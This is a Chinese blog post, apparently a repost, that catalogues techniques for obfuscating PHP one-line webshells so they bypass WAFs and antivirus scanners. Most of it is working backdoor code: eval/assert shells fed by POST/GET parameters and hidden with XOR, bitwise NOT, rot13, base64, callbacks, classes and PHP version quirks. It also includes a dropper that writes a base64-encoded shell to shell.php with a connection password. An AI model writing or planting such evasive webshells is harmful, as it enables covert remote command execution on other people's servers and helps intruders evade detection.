php eval函数-PHP webshel​​l加壳总结

2023-09-05 0 3,989 百度已收录

扫描二维码获取信息

获取黑客教程

免费并加入群组

普通一句话木马(适用于CTF及小型网站)


//函数的相似替换

与第一个单句木马相比,我们发现该字符的含义是抑制php句型中的错误信息,即使有错误也不返回; 属于不太重要的“组件”,但其书写位置也比较灵活; 它可以在 eval 函数后面,也可以在 post 函数上面......

然后我们看第二段代码,发现它把eval函数换成了assert函数; 此时,我们通过查看PHP指南(友情链接)发现以下差异:

可以考虑使用assert函数来代替eval函数,因为eval函数太敏感了! ! ! 这时候大师又会问:还有哪些敏感功能呢? 这就太多了(例如:system、post、get……),所以我们可以根据加壳的本质来获取更多,混淆和加密是两种久经考验的方法。

温馨提示:只有php一个字的木马还可以执行其他命令! (

  

)因此,不一定要用POST函数,GET函数也是可以的! (注意:get函数只能向服务器请求信息,所以只能与命令执行绑定!)

PHP打包(字符串打包思想)

字符串异或加密

字符串基族加密

字符串rot13加密

字符串连接

php打包和打包的区别

大多数情况下,开发者为了方便自己的需求,会用“黑名单”的形式去掉很多敏感功能,以达到一个看似新的、相对安全的目标,却殊不知因为这些粗心的想法而把整个系统面临极大风险; 攻击者在前几年就遇到过这些情况。 加密可用于解决大多数问题(例如:XOR 加密、基族加密、URL 加密...)。 所以我们常说:白名单>WAF>黑名单!

“^”是异或运算符。 在PHP中,当两个变量进行异或运算时,字符串将被转换为二进制补码,然后进行异或运算。 异或运算后,结果将由补码转换为字符串(参考链接)

<?php
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
$_($___[_]);

<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
(''^'`')
${$__}[!$_](${$___}[$_]);
?>

<?php
$__=('>'>''>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

提示:可以使用下面的PHP XOR脚本来解决生成函数的问题

<?php
$test = '~!@#$%^&*()_+|/?.,-={}[]';
for($i=0;$i<strlen($test);$i++){
for($j=0;$j<strlen($test);$j++){
if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '
';
}else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '
';
}
}
}
?>

虽然简单方便,但通过静态识别很容易被发现,从而使我们的包装暴露。 为了继续wbshel​​l加壳,我们可以学习下面的加壳方法,并进行组合! 从而达到绕过WAF和php禁用功能的目的!

PHP 加壳器基族加密

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>

这些方法没有什么特别的好处,可以尝试使用base16或base32配合其他方法,效果都不错!

PHP加壳rot13加密

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>

rot13对eavl函数进行了加密,即“riny”(通过这些方法可以绕过函数的正则匹配)!

虽然恐吓等级很高,而且我们可以进行其他装箱处理,但装箱率还是得到了一定程度的提升! (还有下面这个就被杀死了,我不明白php eval函数,难道是格式的原因?)

<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!',$b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>

PHP脱壳和拼接脱壳


我们可以将敏感函数进行拆分,然后制作一个简单的敏感函数加壳器! 其次,还可以使用下面的arry链表结构函数来进行装箱。

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>

也就是说,我们只需要用rot13对PSOT函数进行加密即可; 或者考虑变量替换(而且根据D盾的测算,疗效可能并不比加密好)!

php加壳器混淆加壳器

<?php 
function a()
{
return "/*110110110110*/".$_POST['110']."/*110110110110**/";
}
@eval(a());
?>

简单的字符串变化会立即杀死你,所以我们还需要配合其他无用的角色来迷惑观众,提高打包的效果!


这里多少字,为了防止被测,可以参考文件上传的原理(关键是想办法造成溢出),这样做的后果是文件会变大,但是是适合与图片马一起使用。

php的打包(函数特性的打包思路)

功能替换

自定义函数绕过

变异反弹

场地

可变变量

php加壳器的功能替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter():通过函数过滤掉数组中的元素

array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串

array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集

array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集

array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集

array_intersect_assoc():比较两个数组的键名和键值,并返回交集

array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集
xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。
xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

如果成功,该函数返回 TRUE。 如果失败,则返回 FALSE。

xml_set_unparsed_entity_decl_handler():该函数指定遇到未解析的实体名称(NDATA)声明时要调用的函数。 如果处理程序成功完成,该函数将返回 true; 否则将返回 false。

尝试去PHP句型指南,发现一些不常见的函数...

PHP加壳自定义函数绕过(可搭配大小写)

<?php 
function aaa($a){
return $a;
}
function bbb($b){
return eval($b);
}
function post(){
return @$_POST['110'];
}
function run(){
return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>

我们可以利用我们自定义的函数形式,匹配PHP版本和可替换函数来绕过WAF拦截,达到加壳的目的! 因为PHP函数中的函数名、方法名、类名不区分大小写,但建议使用与定义相同的名称,这样也可以提示大小写被绕过,所以加壳的效果是大大改善了!

PHP加壳器的反弹功能加上组合来绕过

array_walk()  
array_map()
filter_var()
filter_var_array()
uasort()
uksort()

以上都是常用的可以替换的功能,大部分都被杀死了,所以需要先搞清楚才可以使用!

php加壳器的字段绕过

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>

PHP 打包变量

PHP 中有一种变量称为可变变量。 这些变量不是基本类型的变量。 可变变量意味着普通变量的值可以用作另一个变量的名称。 这句话听起来有点具体。 我们可以通过例子来演示可变变量的定义和实用性。

<?php 
$zeo='miansha';
$$zeo=$_POST['110'];
eval($miansha);
?>

这时候我们就可以使用一些多重加密的方法,对eval函数进行多次加密,就达到了完全加壳的结果了!

PHP的加壳器使用类来绕过加壳器

等级是现在大多数人的共同选择之一,因为等级的技术在通过D盾测量时效率更高; 而使用类自然需要魔法函数,我们简单地构造一个类的加壳器,如下:

<?php 
class zeo2
{
public $b ='';
function post(){
return $_POST['x'];
}
}
class zeo extends zeo2
{
public $code=null;
function __construct(){
$code=parent::post();
assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>

PHP打包(根据PHP版本差异打包)

不用说,传统的php加壳无非就是各种变种和获取外部参数。 对于一些高级的waf和防火墙来说,无论怎么解析php eval函数,最终都会到达执行命令的地方,而如果句型报错,则可能会导致解析失败。 下面介绍几种使用PHP版本出现语义错误的PHP命令执行方法。

1.使用特殊符号触发错误报告


PHP版本:仅限5.2版本

其要求是能够干扰反病毒的规律性判断以及代码能够被执行。 大家可以自己慢慢测试一下。具体来说就是借助各种回车、换行、null、空白字符,这里尝试将其改造成一个可以连接的一句话木马,并配合前面的变量变量

<?php 
$xxxxxxxxxxxxxx='miansha';
$$xxxxxxxxxxxxxx=$_POST['110'];
eval(``.$miansha);
?>

2.十六进制补码串

PHP版本:仅限5.3和5.5版本; 在php7中它不被认为是一个数字,但在php5中它仍然是一个数字。 (友情提醒:5.X可以成功执行命令,但是php7无法执行)



提示:对于我们来说,我们可以结合垃圾数据、变体混淆以及大量特殊字符和注释来构造更多的有效负载。 虽然每个公司的WAF规则和配置不同,但都是结合一些传输级旁路而形成的。 可能性非常多样。

3. 使用句型执行不换行的命令。

PHP版本:仅限7.3.4版本。 如果是其他版本就会报错,所以更有针对性!

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>

提示:7.0版本的功能。 如果版本是5.x,仍然会报错。 您可以将它与其他一些方法结合起来!

PHP一句话加壳实例

我去那边给你一些贝壳!

<?php 
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//连接密码110

还附上小马,希望大家一起集思广益!

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3

用一句话概括

本文的目的是让您对一句话木马加壳有一定的了解。 随着包装对抗越来越激烈,我们不得不发散思维。 这次我给大家提供一些想法。 如果您有什么意见,可以在评论区分享!

其他参考:

PHPWebShell打包:et/qq_35029061/article/details/126091870

PHP案例分析:

作者:面包and牛奶 原文地址:https://www.freebuf.com/articles/web/343192.html

免责声明:本公众号分享的内容仅用于网络安全爱好者之间的技术讨论。 严禁以非法方式使用。 所有穿透均需授权!否则后果自负。 本公众号及原作者不承担相应后果。

学习更多突破技巧!体验射击场练习

hack视频资料及工具

(部分展示)


往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞


看到这里了,点个“赞”、“再看”

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php eval函数-PHP webshel​​l加壳总结 https://www.wkzy.net/game/195111.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务